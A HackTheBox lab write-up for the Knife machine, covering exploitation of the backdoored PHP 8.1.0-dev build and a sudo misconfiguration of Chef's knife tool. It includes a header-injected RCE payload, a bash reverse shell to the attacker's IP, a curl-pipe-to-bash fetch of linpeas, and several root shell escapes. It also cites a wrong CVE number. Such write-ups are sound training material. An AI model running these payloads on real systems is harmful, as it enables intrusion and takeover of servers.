HTB: Knife Writeup
Knife - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Knife |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | April 23, 2021 |
| IP Address | 10.10.10.242 |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐⭐
- CTF-like: ⭐⭐☆☆☆
Summary
Knife is an easy difficulty Linux machine featuring a backdoored version of PHP 8.1.0-dev running on an Emergent Medical Idea web application. The vulnerability lies in a malicious commit to the PHP source code that checks the User-Agentt request header for a “zerodium” string and executes arbitrary code following it. After gaining initial foothold as the james user, privilege escalation is achieved through a sudo misconfiguration allowing the knife command (Chef’s automation tool) to be executed as root. The knife command can spawn a text editor with root privileges, enabling shell command execution.
TL;DR: PHP 8.1.0-dev RCE via User-Agentt header → Reverse shell as james → Sudo misconfiguration with knife command → Vi editor shell escape → Root shell.
Reconnaissance
Port Scanning
# Initial full port scanports=$(nmap -p- --min-rate=1000 -T4 10.10.10.242 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Detailed service enumerationnmap -p$ports -sV -sC 10.10.10.242Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.280/tcp open http Apache httpd 2.4.41Service Enumeration
Apache HTTP Service (Port 80):
The web server hosts an Emergent Medical Idea application. Browsing to the index reveals a medical application interface with no immediately exploitable features.
# Check HTTP response headerscurl -I http://10.10.10.242/index.phpCritical Finding: The X-Powered-By header reveals:
X-Powered-By: PHP/8.1.0-devVulnerability Assessment
PHP 8.1.0-dev Backdoor (CVE-2021-21224):
PHP version 8.1.0-dev was released with an intentional backdoor on March 28, 2021. Two malicious commits were pushed to the php-src repository, allowing Remote Code Execution through the User-Agentt request header.
Vulnerability Mechanism: The backdoor code checks for the string “zerodium” in the User-Agentt header. If found, it executes PHP code immediately following the “zerodium” string using zend_eval_string().
Sudo Misconfiguration: User james is permitted to run /usr/bin/knife as root without password authentication, enabling privilege escalation through the Chef knife tool.
Initial Foothold
Exploitation Path
Step 1: Verify RCE via DNS Exfiltration
First, we verify the PHP backdoor is functional by triggering an external request:
# Start a Python HTTP server to catch outbound requestssudo python3 -m http.server 80
# From attack machine, send RCE payloadcurl http://10.10.10.242/index.php -H 'User-Agentt: zerodiumsystem("curl 10.10.14.177");'The target server should make a request to our HTTP server, confirming code execution.
Step 2: Establish Reverse Shell
Set up a netcat listener:
nc -nlvp 1234Execute the reverse shell payload:
curl http://10.10.10.242/index.php \ -H "User-Agentt: zerodiumsystem(\"bash -c 'bash -i &>/dev/tcp/10.10.14.177/1234 0>&1 '\");"Result: Reverse shell obtained as user james.
james@knife:~$ iduid=1000(james) gid=1000(james) groups=1000(james)Privilege Escalation
Enumeration
Run linpeas.sh to identify privilege escalation vectors:
# On attack machine, download and serve linpeaswget https://github.com/peass-ng/PEASS-ng/releases/download/20240714-cd435bb2/linpeas.shsudo python3 -m http.server 80
# On target machine (reverse shell)curl 10.10.14.177/linpeas.sh | bashAlternatively, check sudo capabilities directly:
sudo -lOutput:
User james may run the following commands on knife: (root) NOPASSWD: /usr/bin/knifeExploitation: Knife Sudo Misconfiguration
The knife command (Chef’s automation tool) allows editing data bags with an external text editor. By invoking knife with root privileges and launching vi/vim as the editor, we can execute shell commands.
Method 1: Via Data Bag Editor (Vi Escape)
sudo knife data bag create 1 2 -e viOnce vi opens, type the following to spawn a shell:
:!/bin/shPress Enter to execute. You now have a root shell.
Method 2: Via Knife Exec (Interactive)
sudo knife execIn the interactive Ruby environment, type:
exec "/bin/bash"Press CTRL+D to execute.
Method 3: Via Knife Config File
Create a malicious config file:
echo -n 'exec "/bin/bash -i"' > config.rbsudo knife user list -c config.rbShell Upgrade
Once in the root shell, upgrade to a fully interactive TTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'# Press CTRL+Z to suspendstty raw -echo# Type 'fg' to resumeresetexport TERM=xtermNow you have a fully interactive root shell.
Attack Chain Summary
Port Scanning (Nmap) ↓Identify Apache + PHP 8.1.0-dev ↓PHP 8.1.0-dev RCE via User-Agentt Backdoor ↓Reverse Shell as james ↓Enumerate Sudo Permissions (sudo -l) ↓Identify knife Execution as Root ↓Spawn Vi Editor from Knife Data Bag ↓Vi Shell Escape (:!/bin/sh) ↓Root ShellTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | HTTP requests and RCE payload delivery |
nc | Netcat reverse shell listener |
python3 | HTTP server for file transfer |
linpeas.sh | Linux privilege escalation enumeration |
vi/vim | Text editor shell escape for privilege escalation |
Key Learnings
Techniques Practiced
- Identifying vulnerable software versions through HTTP headers
- PHP backdoor exploitation via header injection
- Reverse shell payload crafting and delivery
- Linux privilege escalation via sudo misconfiguration
- Text editor shell escape techniques (vi/vim)
- Interactive Ruby shell execution through knife exec
Lessons Learned
-
Version Detection Matters: HTTP headers like
X-Powered-Byreveal critical software versions. Always check response headers for fingerprinting opportunities. -
Supply Chain Vulnerabilities: The PHP 8.1.0-dev backdoor represents a real-world supply chain attack risk. Development versions should never reach production.
-
Sudo Misconfiguration Impact: Granting sudo access to tools that spawn interactive editors (vi, nano, less, etc.) without proper restrictions enables trivial privilege escalation.
-
Command Execution Context: Many administrative tools (knife, git, sudo) can execute arbitrary commands through editor integration—a common attack vector.
-
Defense in Depth: Prevent the impact of RCE by restricting sudo permissions to specific arguments and using
NOPASSWDsparingly. -
Enumeration Scripts: Tools like linpeas automate privilege escalation enumeration, saving time and reducing missed opportunities.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>